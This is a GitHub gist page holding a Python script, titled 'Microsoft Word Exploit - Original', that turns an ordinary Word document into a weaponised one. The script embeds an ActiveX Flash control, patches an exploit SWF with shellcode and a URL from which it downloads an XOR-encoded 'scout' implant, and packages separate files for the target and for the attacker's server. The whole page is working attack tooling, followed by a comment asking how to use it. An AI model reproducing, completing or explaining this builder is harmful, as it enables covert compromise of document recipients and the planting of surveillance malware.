Skip to content

Instantly share code, notes, and snippets.

@Celestial-intelligence
Forked from bedekelly/exploit.py
Created March 2, 2020 10:42
Show Gist options
  • Select an option

  • Save Celestial-intelligence/9eae5dd325445fc52be3aac0a8b20344 to your computer and use it in GitHub Desktop.

Select an option

Save Celestial-intelligence/9eae5dd325445fc52be3aac0a8b20344 to your computer and use it in GitHub Desktop.
Microsoft Word Exploit - Original
import sys
import os
import warnings
import zlib
sys.path.append(os.getcwd() + '/' + "pylzma.egg")
import pylzma
import struct
import random
import shutil
from zipfile import ZipFile
import zipfile
import time
random.seed()
def random_id(length):
number = '0123456789'
alpha = 'abcdefghijklmnopqrstuvwxyz'
id = ''
for i in range(0,length,2):
id += random.choice(number)
id += random.choice(alpha)
return id
def four_byte_xor(buf, key):
out = ''
for i in range(0,len(buf)/4):
c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0]
c ^= key
out += struct.pack("<I", c)
reminder = len(buf) % 4
for i in range(len(buf)-reminder, len(buf)):
c = struct.unpack("B", buf[i])[0]
c ^= 0x41
out += struct.pack("B", c)
return out
if not os.path.exists("c:\\RCS\\DB\\config\\test"):
SWF_RANDOM_NAME = random_id(12) + ".swf"
else:
SWF_RANDOM_NAME = "avtest.swf"
EXE_RANDOM_NAME = random_id(12) + ".dat"
if sys.argv[2][-1] == "/":
EXE_URL = sys.argv[2] + EXE_RANDOM_NAME
SWF_URL = sys.argv[2] + SWF_RANDOM_NAME
else:
EXE_URL = sys.argv[2] + '/' + EXE_RANDOM_NAME
SWF_URL = sys.argv[2] + '/' + SWF_RANDOM_NAME
if EXE_URL[:4] != 'http' and EXE_URL[:4] != "HTTP":
EXE_URL = "http://" + EXE_URL
if SWF_URL[:4] != 'http' and SWF_URL[:4] != "HTTP":
SWF_URL = "http://" + SWF_URL
#SWF_URL = "/".join(sys.argv[2].split("/")[0:-1]) + '/' + SWF_RANDOM_NAME
SCOUT_NAME = sys.argv[8]
input_file = sys.argv[4]
output_file = sys.argv[5]
send_to_target_zip = sys.argv[3]
send_to_server_zip = sys.argv[7]
INPUT_SCOUT = sys.argv[6]
exploit_file = "exploit.swf"
XOR_KEY = random.randint(0xdead, 0xdeadbeef)
print SCOUT_NAME
print EXE_URL
print SWF_URL
print EXE_RANDOM_NAME
print SWF_RANDOM_NAME
print input_file
print output_file
print send_to_target_zip
print send_to_server_zip
print INPUT_SCOUT
def byteArray2String(param):
with warnings.catch_warnings():
warnings.simplefilter('ignore')
tmp = os.tempnam()
f = open(tmp, 'wb')
f.write(param)
f.close()
f = open(tmp, 'rb')
result = f.read()
f.close()
try:
os.unlink(tmp)
except WindowsError:
print "I/O error when deleting %s file"%(tmp)
return result
def create_doc():
# unpack zip file
if not os.path.exists("tmp"):
os.mkdir("tmp")
myzip = ZipFile(input_file)
myzip.extractall("tmp")
myzip.close()
# update content types
buff = open("tmp/[Content_Types].xml", 'r').read()
idx = buff.lower().find("<types")
idx2 = buff[idx:].lower().find(">") + 1
buff2 = buff[:idx+idx2]
if buff.lower().find("vnd.ms-office.activex") == -1:
buff2 += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>'
if buff.lower().find("image/x-wmf") == -1:
buff2 += '<Default ContentType="image/x-wmf" Extension="wmf"/>'
buff2 += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/word/activeX/activeX1.xml"/>'
buff2 += buff[idx+idx2:]
open("tmp/[Content_Types].xml", 'w').write(buff2)
# update rels
buff = open("tmp/word/_rels/document.xml.rels", 'r').read()
idx = buff.lower().find("</relationships>")
buff2 = buff[:idx]
buff2 += '<Relationship Target="activeX/activeX1.xml" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Id="rId1000"/><Relationship Target="media/image1000.wmf" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Id="rId1001"/>'
buff2 += "</Relationships>"
open("tmp/word/_rels/document.xml.rels", 'w').write(buff2)
# update document
buff = open("tmp/word/document.xml", 'r').read()
#idx = buff.lower().find("</w:body")
#idx2 = 0
idx = buff.lower().find("<w:body")
idx2 = buff[idx:].lower().find(">") + 1
buff2 = buff[:idx+idx2]
buff2 += '<w:control w:name="ShockwaveFlash1" r:id="rId1000"/>'
buff2 += buff[idx+idx2:]
open("tmp/word/document.xml", 'w').write(buff2)
if os.path.exists("tmp/word/activeX"):
print "[!!] Unsupported file: contains an ActiveX"
sys.exit(-1);
if not os.path.exists("tmp/word/activeX/"):
shutil.copytree("resources/activeX/", "tmp/word/activeX/")
if not os.path.exists("tmp/word/media/"):
shutil.copytree("resources/media/", "tmp/word/media/")
else:
shutil.copy("resources/media/image1000.wmf", "tmp/word/media/")
random.seed()
create_doc()
XOR_OFFT = 0x88 * 2
URL_OFFT = XOR_OFFT + (0x4*2)
SCOUT_OFFT = 0x110 * 2
XOR_OFFT64 = 0
URL_OFFT64 = 8
SCOUT_OFFT64 = 0x88 * 2
# decompress swf
compressed_swf = open("resources/exploit.swf", 'rb').read()
swf_buff = zlib.decompress(compressed_swf[8:])
# replace :)
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")
swf_buff = swf_buff.replace("ht-201", "abc123")
##### 32 #######
# get offset to shellcode
stage2_offset = swf_buff.find(b"EFBEADDE")
if stage2_offset == 0:
print "[!!] Gadget for shellcode not found"
sys.exit(-1)
print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset)
swf_bytearray = bytearray(swf_buff)
# replace shellcode 32
shellcode = open("resources/shellcode", 'rb').read()
if len(shellcode) > 5800:
print "[!!] Shellcode too big: 0x%x" % (len(shellcode))
sys.exit(-1)
hex_shellcode = shellcode.encode('hex')
for i in range(len(hex_shellcode)):
swf_bytearray[stage2_offset + i] = hex_shellcode[i]
# modify URL 32
hex_url = EXE_URL.encode('hex') + "0000"
print "[+] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i]
# modify scout name 32
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000"
print "[+] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
swf_bytearray[stage2_offset + SCOUT_OFFT + i] = hex_scout[i]
# modify xor key
hex_xorkey = ("%08x" % XOR_KEY)
print "[+] Hex key => %s" %(hex_xorkey)
swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6]
swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7]
swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4]
swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5]
swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2]
swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3]
swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0]
swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1]
##### 64 #######
# get offset to shellcode64
stage264_offset = swf_buff.find(b"CAF1ADDE")
if stage264_offset == 0:
print "[!!] Gadget for shellcode64 not found"
sys.exit(-1)
print "[+] Gadget for shellcode found @ 0x%x" %(stage264_offset)
# replace shellcode 64
shellcode64 = open("resources/shellcode64", 'rb').read()
if len(shellcode64) > (5800*2):
print "[!!] Shellcode too big: 0x%x" % (len(shellcode64))
sys.exit(-1)
hex_shellcode64 = shellcode64.encode('hex')
for i in range(len(hex_shellcode64)):
swf_bytearray[stage264_offset + i] = hex_shellcode64[i]
# modify URL 64
hex_url = EXE_URL.encode('hex') + "0000"
print "[+] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
swf_bytearray[stage264_offset + URL_OFFT64 + i] = hex_url[i]
# modify scout name 32
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000"
print "[+] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
swf_bytearray[stage264_offset + SCOUT_OFFT64 + i] = hex_scout[i]
# modify xor key 64
hex_xorkey = ("%08x" % XOR_KEY)
print "[+] Hex key => %s" %(hex_xorkey)
swf_bytearray[stage264_offset + XOR_OFFT64 + 0] = hex_xorkey[6]
swf_bytearray[stage264_offset + XOR_OFFT64 + 1] = hex_xorkey[7]
swf_bytearray[stage264_offset + XOR_OFFT64 + 2] = hex_xorkey[4]
swf_bytearray[stage264_offset + XOR_OFFT64 + 3] = hex_xorkey[5]
swf_bytearray[stage264_offset + XOR_OFFT64 + 4] = hex_xorkey[2]
swf_bytearray[stage264_offset + XOR_OFFT64 + 5] = hex_xorkey[3]
swf_bytearray[stage264_offset + XOR_OFFT64 + 6] = hex_xorkey[0]
swf_bytearray[stage264_offset + XOR_OFFT64 + 7] = hex_xorkey[1]
# compress swf
uncompressed_len = len(swf_bytearray)
uncompressed_len += len("ZWS\x0d")
uncompressed_len += 4 # + se stessa
print "[+] Uncompressed len: 0x%x" %(uncompressed_len)
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
compressed_len = len(lzma_buff) - 5
print "[+] Compressed len: 0x%x" %(compressed_len)
output_buff = "ZWS\x0d"
output_buff += struct.pack("<L", uncompressed_len)
output_buff += struct.pack("<L", compressed_len)
output_buff += lzma_buff
# write it
open(SWF_RANDOM_NAME, 'wb').write(output_buff)
# modify ole link
ole_link_buff = open("tmp/word/activeX/activeX1.bin", 'rb').read()
ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p")
print "[+] Offset to first link: 0x%x" %(ole_link_offt)
ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1)
print "[+] Offset to second link: 0x%x" %(ole_link2_offt)
ole_link3_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link2_offt+1)
print "[+] Offset to third link: 0x%x" %(ole_link3_offt)
swf_url_bytearray = bytearray(SWF_URL + "\x00\x00")
ole_link_bytearray = bytearray(ole_link_buff)
for i in range(len(ole_link_bytearray)):
if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt:
y = 0
for x in range(len(swf_url_bytearray)):
ole_link_bytearray[i+y] = swf_url_bytearray[x]
ole_link_bytearray[i+y+1] = 0x0
y += 2
# dump modified ole link
open("tmp/word/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray))
# create docx
cwd = os.getcwd()
os.chdir(cwd + "\\tmp")
os.system("zip.exe -r ..\\tmp.zip *")
os.chdir(cwd)
shutil.move("tmp.zip", output_file)
# zip per target
os.system("zip.exe -r \"" + send_to_target_zip + "\" \"" + output_file + "\"")
shutil.move(send_to_target_zip + ".zip", send_to_target_zip)
# zip per server
open(EXE_RANDOM_NAME, 'wb').write(four_byte_xor(open(INPUT_SCOUT, 'rb').read(), XOR_KEY))
#shutil.copy(INPUT_SCOUT, EXE_RANDOM_NAME)
os.system("zip.exe \"" + send_to_server_zip + "\" " + EXE_RANDOM_NAME + " " + SWF_RANDOM_NAME)
@bewarez
Copy link
Copy Markdown

bewarez commented Mar 2, 2021

how to use?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment